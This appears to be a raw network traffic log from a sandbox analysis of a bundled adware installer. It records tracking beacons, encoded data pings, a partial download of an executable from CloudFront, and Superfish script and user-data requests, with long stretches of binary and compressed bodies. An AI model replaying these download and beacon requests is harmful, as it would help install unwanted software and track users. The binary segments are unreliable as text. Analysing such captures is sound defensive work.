6VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&
VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=
Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&Bund
leID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_presen
t=false&cdct=2&convclickts=0&random=3611532254&ipr=y"&
gt;here</A>...</BODY></HTML>....
<<< skipped >>>


GET /utility.gif?report=fdata&f=3&c=820&i=20&n=ms_start_download&rnd=32393 HTTP/1.1
Host: errors.crossrider.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.6.0
Date: Thu, 12 Feb 2015 05:33:45 GMT
Content-Type: image/gif
Content-Length: 43
Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT
Connection: close
GIF89a.............!.......,...........L..;..



GET /pinger?event_type=install_complete&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=1&index_in_screen=1&index_in_session=1&0.538687518716917 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/easyburneres/easyburneres/55bf8432df4546428c4cd4ba3636f283?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:32:52 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 12 Feb 2015 05:32:52 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......


GET /pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=2&index_in_screen=1&index_in_session=2&0.6641631515694306 HTTP/1.1


Accept: */*
Referer: hXXp://bi.bisrv.com/easyburneres/easyburneres/55bf8432df4546428c4cd4ba3636f283?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:32:52 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 12 Feb 2015 05:32:52 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......


GET /pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=2&index_in_screen=1&index_in_session=2&0.6800499185805007 HTTP/1.1


Accept: */*
Referer: hXXp://bi.bisrv.com/easyburneres/easyburneres/55bf8432df4546428c4cd4ba3636f283?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:32:59 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 12 Feb 2015 05:32:59 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......


GET /pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=55bf8432df4546428c4cd4ba3636f283&uniqid=2e25aa9a90cf814cceb990b3777b8df6&affiliate_id=easyburneres&software_id=easyburneres&sponsored_id=mystartsearch&tokyo_csrf2_key=4f4266c025519837f96cbc92b326cf6a&tokyo_csrf2_timestamp=1423719121&slot_number=3&index_in_screen=1&index_in_session=3&0.8012766320131816 HTTP/1.1


Accept: */*
Referer: hXXp://bi.bisrv.com/easyburneres/easyburneres/55bf8432df4546428c4cd4ba3636f283?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:01 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 12 Feb 2015 05:33:01 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /searchprotect/up?ptid=smt&sid=IHProtectPlugin&ln=en_us&ver=4.0.1.1716&uid=535559167_198339_B48A115F&dp=0 HTTP/1.1
Host: VVV.theviilage.com
User-Agent: Mozilla/4.0
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:35:47 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.14p1
1..0..0..



GET /pagead/viewthroughconversion/971163981/?random=374445173&cv=7&fst=1423719243317&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&convclickts=0 HTTP/1.1
Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: googleads.g.doubleclick.net
DNT: 1
Connection: Keep-Alive
Cookie: id=caebd6253000002||t=1384780400|et=730|cs=002213fd480c4c2631f7c541a4


HTTP/1.1 302 Found
P3P: policyref="hXXp://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Date: Thu, 12 Feb 2015 05:33:59 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, must-revalidate
Location: hXXp://VVV.google.com/ads/conversion/971163981/?random=374445173&cv=7&fst=1423719243317&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=3611532254
Content-Type: image/gif
X-Content-Type-Options: nosniff
Server: cafe
Content-Length: 42
X-XSS-Protection: 1; mode=block
Alternate-Protocol: 80:quic,p=0.02
GIF89a.............!.......,...........D.;HTTP/1.1 302 Found..P3P: pol
icyref="hXXp://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="C
URa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV O
TC NOI DSP COR"..Date: Thu, 12 Feb 2015 05:33:59 GMT..Pragma: no-cache
..Expires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, mus
t-revalidate..Location: hXXp://VVV.google.com/ads/conversion/971163981
/?random=374445173&cv=7&fst=1423719243317&num=1&fmt=3&label=DQanCNPMoR
IQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&
u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=htt
p://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_
Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_b
r=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Wind
ows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID
=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&c
onvclickts=0&random=3611532254..Content-Type: image/gif..X-Content-Typ
e-Options: nosniff..Server: cafe..Content-Length: 42..X-XSS-Protection
: 1; mode=block..Alternate-Protocol: 80:quic,p=0.02..GIF89a...........
..!.......,...........D.;..
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=142780-
User-Agent: Better Installer(Mozilla)
Host: d1mvy92rurx48h.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 142778
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:46:33 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 142780-285557/285558
Age: 182
X-Cache: Hit from cloudfront
Via: 1.1 e4438a14707a01f6102dc21875d75080.cloudfront.net (CloudFront)
X-Amz-Cf-Id: wccaYWpXz5jfg2SNeX8BoRbJPMbAMy5AgQH-EyWSr_Mewz29RDWecg==
..<......O.. ..o...U ...h..y.O..X..C............2.[..,..."m...~b...
.......V:...!.......;n .f.P..i?.|...B..w..?5w{...z9.].8*..3..(x...z/E_
...oz...#.".2:...z-.&ng...&y.......H|.q$...Y.....G..M..E.*N...&..z...U
.`....t.?T5.m..<.<...BK..nY_#[....YI?.4...!h.Y..>.....c.M....
F..j..Ht7.gN...z..(..l..\u.~...].Ub...M!..<{.P.M.MM.ne?..<.:....
O.,=.h.....Z.b.........Y....R.s.e.I).i..fpk.j.O0........].2|.0.C``....
...m_z.=W..^...C:............Q...xbR.....t...eF.V.....aR..2o..w.>..
r!U......Xs%.Wm.&.LbX0{.P........@..\w.......>.../.bW........X....^
e8......Lq...[.3a...n*..........2..!c_ .......{...Z.lf...z..o...~*..l.
...G..2.w.8.#.*........DH..-df.][email protected]...'k.... ....m.
=....X..J........e.... .R.7.........!..\..C..G/./..y..*=.......,..V..f
.%....LF.|......T..g..fPs.............-6.".l.t 5..'B.....=.}K.9.%.j.1.
.J.\u&...mg!..Y(...U./?q=B{.z..Q...>....<..B.|keIL.c;........N..
..n....*K...F..~.5.2......K...'n..,&rt...N.G.59.]k....N..3....P...)...
...M w..........6.G.2T......L...B0.#.R....5..,.N..|#..%.lN...9.j...j.2
x....R....Mh..-...D.2...l....*....9c..m.9.e....].j....a.2.7...\....E.B
iu.Bf....a..Oh..r... ...(2n..7BD7.D/........D...T..*.q...u.J..4...v...
I..u.Wr......*.......b....`[email protected]@...zrR..Z..Um....Z.D>\..
........3C.b.._XI.[s..t.......].R..p.=.&E..Z4<....z...=..%.Y..>.
.CF.,]tp..C.iV..z.dh.pI?c\7..4!2..^.M....GDiK..*.=...!.?.......H......
.)]...(..@..(..{..E^yVP ......%M,..O...S2........d^....T..VE.....j.y..
.....}..GqN....E7rG{.E.....y...N/.WG..,...QV.GC.m.gY..........4...
<<< skipped >>>


GET /p.ashx?e=QHucCbLl /a3UIXclMT28jVo9pvdtEJBT7N/IORyA3v8ln8Iap23//2TEkHeJNDUNLVXkHqu5mvMMv39XlAOU3vTUmK2O9Xzd/XCztdoPbIiDSnW9QwuvgTxIUcsgQ wYlOVgJBo5/voUfuS9iW9GozwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbc3zGts4CU58= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:48 GMT
X-Cache: Miss from cloudfront
Via: 1.1 affe26bf02a36a4a45ea1eb3ce2b4a62.cloudfront.net (CloudFront)
X-Amz-Cf-Id: zvzJZqPAX5b7hPGRrbKjBvXd3fWEliB1Q9amqLK0mJYlLg62wIk2Rg==
....


GET /p.ashx?e=aQQpsP6/AW07SHxFqnYavC0i4Lp/1ApcyMlYLXuYTiQd2u58kk/k/Q1XyCbetQQ4LiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXXS/G3EQZqX1I07m/8d9H/9A4wQjemGWOrXIxNf6X/p97T8dW3vpmMBQC drCF7eFnfXu8jqisF9cJKC1Reo3n9ppTNOjE5 LPSZuizlKZS4vVGidJQzQbwcX153juosl0uSr4audwd7JcEM/wt3T7JEXnUcAfrYQBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLa5/6I3/Sv7o41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCYXwql6nKegU HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net

GET /p.ashx?e=aQQpsP6/AW07SHxFqnYavC0i4Lp/1ApcyMlYLXuYTiQd2u58kk/k/Q1XyCbetQQ4LiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXXS/G3EQZqX1I07m/8d9H/9A4wQjemGWOrXIxNf6X/p9DLf  a7VREBQC drCF7eFyJxroAg8B7PuTJrYNC2IKs 4k/Shc0wZjx0aIWLDaSLiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WXmaQNf6DIaqngAvucBSqn702VyaB 7AkjWpbcM/74ilvCUuR096lKp HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:27 GMT
X-Cache: Miss from cloudfront
Via: 1.1 affe26bf02a36a4a45ea1eb3ce2b4a62.cloudfront.net (CloudFront)
X-Amz-Cf-Id: ljv6dhAWaxPf5W9pv5f_RFsl7nzjfaPLbbWpex0OaqVxZ0KFBcOuww==
....


GET /p.ashx?e=aQQpsP6/AW07SHxFqnYavC0i4Lp/1ApcyMlYLXuYTiQd2u58kk/k/Q1XyCbetQQ4LiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXXS/G3EQZqX1I07m/8d9H/9A4wQjemGWOrXIxNf6X/p/HmSIpx5WtIABZGQjpShx/0JQd5HxgIXfZqK6OcR1oPZEcs3sjXWP5zsjRfLbRUWFnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4Up1VbWmyBfgb4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9DaYoBWJ7FPB HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net

GET /p.ashx?e=aQQpsP6/AW07SHxFqnYavC0i4Lp/1ApcyMlYLXuYTiQd2u58kk/k/Q1XyCbetQQ4LiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXXS/G3EQZqX1I07m/8d9H/9A4wQjemGWOrXIxNf6X/p9imua2CCuc REZP4WZMS1x0JQd5HxgIXdwgIjv 1CV6Nl6iMSCUoXjBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLa5/6I3/Sv7o41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCYXwql6nKegU HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net

GET /p.ashx?e=WL9usJOVMsOQs n7i1BIkDVo9pvdtEJBExeXR7asyyn8ln8Iap23/2SGRkpEIbSdfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept WSOrYhj46XfQgpnHZJVLNW4hhroNIOVnI0LGw gTQHOWdskpjA9 6EAMkuJVhOw2AEPg2wrTtaLmz4gguKWlYXb3gfYR4j3vd94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsY9OClxo2EJzxyb104P2pAgDt7NfxZmBYztrww 9FIWlrhTotqotihw== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net

GET /p.ashx?e=KC46TpkJIZzvtemz1TdLVoO3OQzd2SAF7OXLse4BafSoipMojeRGOY2 5cMBkwSYPaM0kMp6 2891qtryhzhzNfFyb
HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:34 GMT
X-Cache: Miss from cloudfront
Via: 1.1 affe26bf02a36a4a45ea1eb3ce2b4a62.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 73RdO7PiSlbiMVJxSZyagulC-jbPcQWYt1ksVj4LjHG9945P28zNJQ==
....


GET /p.ashx?e=Ka qOJkckoV5pPDVsfG01xpesdmADmbfkGRvnADQmYeMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovCmtMkc3CdMm/HJvXTg/akCAO3s1/FmYFjO2vDD70UhafnHhQBt5SN5xIIWpTPES4rmkEK3qBiKqhVVJo48KbncR85KvwHLbytKZ41CPq3IAcjTaYiMGdAbW VsagjjdXSz4gguKWlYXavJoWu3VnK1BCvXlOaKn773iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0Zhyxj04KXGjYQnPHJvXTg/akCAO3s1/FmYFjO2vDD70UhaWuFOi2qi2KH HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:57 GMT
X-Cache: Miss from cloudfront
Via: 1.1 affe26bf02a36a4a45ea1eb3ce2b4a62.cloudfront.net (CloudFront)
X-Amz-Cf-Id: W2oq-Dw3ycUs74fy_8RKgeT9Qu3fHebhOy7Nsn3gTOT9e8ZlKobv7g==



GET /ws/sf_preloader.jsp?dlsource=viktczu&userId=572a115387054466affeb5bad540fde1&partnername=ShopperPro&CTID=xUSIF2Cwsmtycl&ver=2015.2.11.10.1 HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: VVV.superfish.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:34:01 GMT
Content-Type: text/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: JSESSIONID=B66EC530B342E63BAD9736B9ABF81509; Path=/ws
Last-Modified: Sat, 1 Jan 2011 00:00:00 GMT
Cache-Control: public, max-age=2592000
Access-Control-Allow-Origin: *
Content-Encoding: gzip
600a...............z#7.6..~...,...,.:..e..Z..=].>......jo.L.)%....D
.T.coe..U........L.2)U....G.L[.@ ....@ ......J.yo....b......^t..G.utz.
U.".J........IQ.Et.....}R..$...i..... K....Ud..*.."Y.E.2.bPy.KmN....7.
....dr...L....H...:{...]&e...:gU...M.......d..W.i..\..b....t'.........
Y..=.Y.`....}.}..;d..j...[..M;..rH.%.a>J~....|..'.U]....G..........
6ow...R..r.....y.._..c...^=.eR.#..".W....l/[email protected]...!..M.9MJgi..
.".-.U._Vi.*I)M.J..._ .......F..p?..(...?...a.kz..c...[.7...q.\&.(.[R.
.u.O.....OE....=...Uu..L..,.L..>..m.|......Hd..M..:z5.`....h....u{Z
U........_...0..\..U../)............_.......W.........d...A..H=.."..f,
X.x/..EC;..X...b?M..jY....\d"....o..(..0.2.t......ds...@.[..I>..{..
..]eN6.. .no..,.G.HJV..."K...-.z..7..^..:.bF.G...E.....M..".h.X..._...
.N.Gfok..,9...s.....N..?.;.._.E....\.....y.S.2...........5.`.........{
.h/.....{.E...Rr..........T..^./.x.y3.....e..Q....-a..&k...a$..d .m8..
...~.e..hZ.4.....d..%......_*.t._%/.i6...o..V?>lQ<&...#j........
..#..S.Fot.{..&.F....4=e..\..X../../.,...^.L2....!.]%.f...@.....:lObov
$-...U.....f.]y.y.L..2.N.O ..yW'.Ek.e..6.o.{pp.%t*}'[email protected]..
.z.R(.R..N.-2.......MG.Y..L.aK...%Y.ttk.g.6B........a....."....MM.....
<....6d..tTMQn..&.dJ#b.p ..5.Y^....gs[v...[MS(."..-"..f.....E...l.%
..Z.u.........V.....15.".....<....B.!.:....6H...M..M...d.......?I*.
..o......z[SL.[;g.....8...T#l.].a...Fd.q.[F..u.......[..{.....=.......
6t.Q.oI....`,a.X}.`.Mz0.t?..../:8..\....R.M2...y...-..V..xG..5 ..l....
....a.?......O...}..Nta..s....Qs.Vh.iV.f...'.4T.B.[u.6N.D.Bb......
<<< skipped >>>

GET /ws/userData.jsp?dlsource=viktczu&userid=NTBCNTBC&ver=2015.2.11.10.1 HTTP/1.1


Accept: text/html, application/xhtml xml, */*
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=66&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: VVV.superfish.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:34:02 GMT
Content-Type: text/html;charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: JSESSIONID=CCEE7E075FEBA4A9110697064255E857; Path=/ws
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Last-Modified: Sat, 1 Jan 2011 00:00:00 GMT
Cache-Control: public, max-age=2592000
Access-Control-Allow-Origin: *
clientCountry: UA
Content-Encoding: gzip
2b25.............]ms....LU.?.P...)..u..2..%9......s.SP..$7..0.0.(...&l
t;=o=...RTuwL,......o..3...'......O.......o.G..o/....-~....r.Z.....U..
Q.q=[........S......|.......b.h...........j..j..........)......Q....?.
...US..f.eU.......M..|...UYLF..lQ_....h.i9^....U.x.,..........:..W.b&g
t;Z.0.r.......z8.L..{[email protected]]...$].i5[....U.j4....US..u....A:1 ..9
.............k...?...B....OG....7 ......w.^................w...uv..yg{
.7p..}..[|......7........: z_..GGGE..2...|......O.,..O..t...x TL......
h6)...|...q}9.g......|..Q.... ...._.....M......HL..Ey.:c....).'.z1:/..
G.v.. ..4;)....t4m....l........-/8..z:.5..s.l9.3H.OO~.....w.O..OOt.3..
.~u.C.....CU.}P.....Y...j.....-...Y....I.....(g.....*P@*?U.iuR.1......
....n......S..G.i.x>{[email protected]/.W3 .,......zXt...k.j.....<
..I..Q(.]=.................\(H.F.._Pd.........\.T..H...*.....Fo......M
1Z,F....w..l\......r.../F3S...z[ZYc.u.......E..;.?.R{\.j....5..KY.6h.}
u.;wX..1j._.~^..r.|.:..E.[..v;;...C.E.\[email protected] ..0u..X|....H .h,..$.....
...... 0.V\-.i.|_...bT,...F.A.C.......?.w~0...c..x...T....8..n;.%..)Ls
....-..vd.c.eu..;4|.7N.{k.&M...K...`....0!,..,......Z!!.[~ic.&.w......
......(BB.qs-...p,n$....8.......Y$.OSV.~F..S.)V..u...pH.3hC.Q..5-.bO:R
l......AZ.]P..^!...&....%.vV....q..R.h[.^.....u.n...z....\..........B.
...........Q..A.R.hs...%...q.8e..xSb>%.y.G.........GZ.2X.Gg.\.....F
01...K".....3...^D.*......1..6...od..m..m..^..8. oW..v...]X..o.V.>.
m..G;W<..akK4.hA .db.B..e..!/.p.b.z9/z......$.FL.....E..'..-K...[J.
.7...l.f* .. cr4.*"%....b.....Q...eq=3.#....4..K......nbp.Z9^....#
<<< skipped >>>

GET /ws/getUD.action?dlsource=viktczu&userId=a808235d-2e33-63b7-f57c-3a35b2c1abef-2de&ver=15.2.8 HTTP/1.1


Accept: */*
Referer: hXXp://VVV.superfish.com/ws/userData.jsp?dlsource=viktczu&userid=NTBCNTBC&ver=2015.2.11.10.1
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Host: VVV.superfish.com
DNT: 1
Connection: Keep-Alive
Cookie: JSESSIONID=CCEE7E075FEBA4A9110697064255E857


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:34:02 GMT
Content-Type: application/json;charset=UTF-8
Content-Length: 188
Connection: keep-alive
Content-Encoding: gzip
Expires: Thu, 12 Feb 2015 09:34:02 GMT
Cache-Control: max-age=14400
Last-Modified: Sat, 1 Jan 2011 00:00:00 GMT
Cache-Control: public
clientCountry: UA
Access-Control-Allow-Origin: *
..........e....0.....s.i.iko......t.`IK.UA..V.Q...a...C..-.....r.T<
C..L..y........R."....M#`Jt.#.....E.~...hU..*..<.q.hC.9.L....`....&
gt;................j.F5.M/5!...Z.M.%:4.....(uO.,.P.h.....HTTP/1.1 200 
OK..Server: nginx..Date: Thu, 12 Feb 2015 05:34:02 GMT..Content-Type: 
application/json;charset=UTF-8..Content-Length: 188..Connection: keep-
